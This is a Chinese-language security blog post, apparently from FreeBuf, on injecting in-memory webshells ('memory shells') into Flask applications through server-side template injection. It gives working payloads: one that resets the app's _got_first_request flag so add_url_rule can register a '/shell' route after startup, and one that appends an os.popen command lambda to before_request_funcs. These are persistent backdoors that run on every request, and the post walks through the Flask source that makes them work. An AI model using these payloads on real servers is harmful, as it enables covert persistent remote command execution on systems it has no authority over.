Juvline
- 关注

flask新版内存马
旧版内存马为什么不能使用
首先,先看看以前的内存马的格式
{{g.pop.__globals__.sys.modules['__main__'].app.add_url_rule('/shell', 'shell','1')}}
原理是调用了add_url_rule
注册了路由,并且可以定义一个匿名函数进行调用,我们可以不出网的得到执行结果
def add_url_rule(
self,
rule: str,
endpoint: str | None = None,
view_func: ft.RouteCallable | None = None,
**options: t.Any,
) -> None:
rule (str):
URL 规则的路径字符串,例如 '/users' 或 '/posts/<int:id>'。
该规则用于匹配传入请求的 URL,以确定应该调用哪个视图函数。
endpoint (str | None, optional):
路由的端点名称,用于标识该路由。
端点名称可以用于反向构建 URL,便于在应用中生成链接。
如果设置为 None,Flask 会根据视图函数的名称自动生成端点名称。
view_func (ft.RouteCallable | None, optional):
处理匹配到该 URL 规则的请求的视图函数。
这个可调用对象可以是普通函数、类视图或其他任何可被调用的对象。
如果设置为 None,则该规则不会关联任何视图函数。
新版本使用这个payload,会出现报错
我们定位到函数_check_setup_finished
,查看其内容:
def _check_setup_finished(self, f_name: str) -> None:
if self._got_first_request:
raise AssertionError(
f"The setup method '{f_name}' can no longer be called"
" on the application. It has already handled its first"
" request, any changes will not be applied"
" consistently.\n"
"Make sure all imports, decorators, functions, etc."
" needed to set up the application are done before"
" running it."
)
在setupmethod
装饰器中被调用
def setupmethod(f: F) -> F:
f_name = f.__name__
def wrapper_func(self, *args: t.Any, **kwargs: t.Any) -> t.Any:
self._check_setup_finished(f_name)
return f(self, *args, **kwargs)
return t.cast(F, update_wrapper(wrapper_func, f))
_check_setup_finished
是setupmethod
装饰器的重要组成部分。确保了任何设置方法在应用程序处理第一个请求后都无法再次被调用,从而保证应用的状态一致性。
add_url_rule
新版本源码中使用了setupmethod
装饰器,使得flask
在进行启动之后不能再使用函数进行动态的创建路由
解决方法1: 修改_got_first_request
在_check_setup_finished
函数中,根据_got_first_request
属性值进行判断,在每次请求的时候,会被默认置为True
我们可以使用__builtins__
的setattr
,在进行内存马注入的时候,将_check_setup_finished
置为fales
g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules['__main__'].app,'_got_first_request',False)
完整payload
{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules['__main__'].app, '_got_first_request', False).__class__.__base__.__subclasses__()[142].__init__.__globals__.sys.modules['__main__'].app.add_url_rule('/shell','shell','1')}}
解决方法2: 使用勾子函数(装饰器)的底层函数
装饰器
在 Python 中,装饰器是一种高阶函数,允许在运行时修改或增强另一个函数或方法的功能。装饰器通常以函数作为输入,返回一个新的函数,通常是在原函数基础上添加了某些功能或逻辑。通过在函数定义前使用@decorator_name
的语法,可以轻松地将装饰器应用于目标函数
工作机制
接收函数:装饰器接收一个函数作为参数。
定义新函数:在装饰器内部,可以定义一个新的函数,该函数可以在调用原函数之前或之后添加额外的行为。
返回新函数:装饰器返回这个新函数,以替代原来的函数。
钩子函数
钩子函数是指在特定事件发生时被调用的函数。这些事件通常是由系统或框架触发,钩子函数允许开发者在这些事件发生时插入自定义的逻辑。在某些框架(如 Flask 或 Django)中,钩子函数通常与装饰器结合使用,以在特定的生命周期阶段执行特定的操作。
总结
装饰器是一种修改函数行为的工具,可以用来注册钩子函数
flask有五种常用请求钩子:
before_first_request:在处理app第一个请求前运行。
before_request:在每次请求前运行。
after_request:如果处理逻辑没有异常抛出,在每次请求后运行。
teardown_request:在每次请求后运行,即使处理发生了错误。
teardown_appcontext:在应用上下文从栈中弹出之前运行
before_request
@setupmethod
def before_request(self, f: T_before_request) -> T_before_request:
"""Register a function to run before each request.
For example, this can be used to open a database connection, or
to load the logged in user from the session.
.. code-block:: python
@app.before_request
def load_user():
if "user_id" in session:
g.user = db.session.get(session["user_id"])
The function will be called without any arguments. If it returns
a non-``None`` value, the value is handled as if it was the
return value from the view, and further request handling is
stopped.
"""
self.before_request_funcs.setdefault(None, []).append(f)
return f
函数中最后是调用了self.before_request_funcs.setdefault(None, []).append(f)
self.before_request_funcs 是一个字典,通过调用
before_request
,来存储在请求之前调用的函数setdefault(None, []) 表示不特定于任何特定路由的请求处理函数。意味着注册的函数适用于所有请求。
.append(f) 将函数f压入到字典中
before_request
函数也存在@setupmethod
装饰器,所以我们可以仿照这个形式给before_request_funcs
字典写入值
payload
app.before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)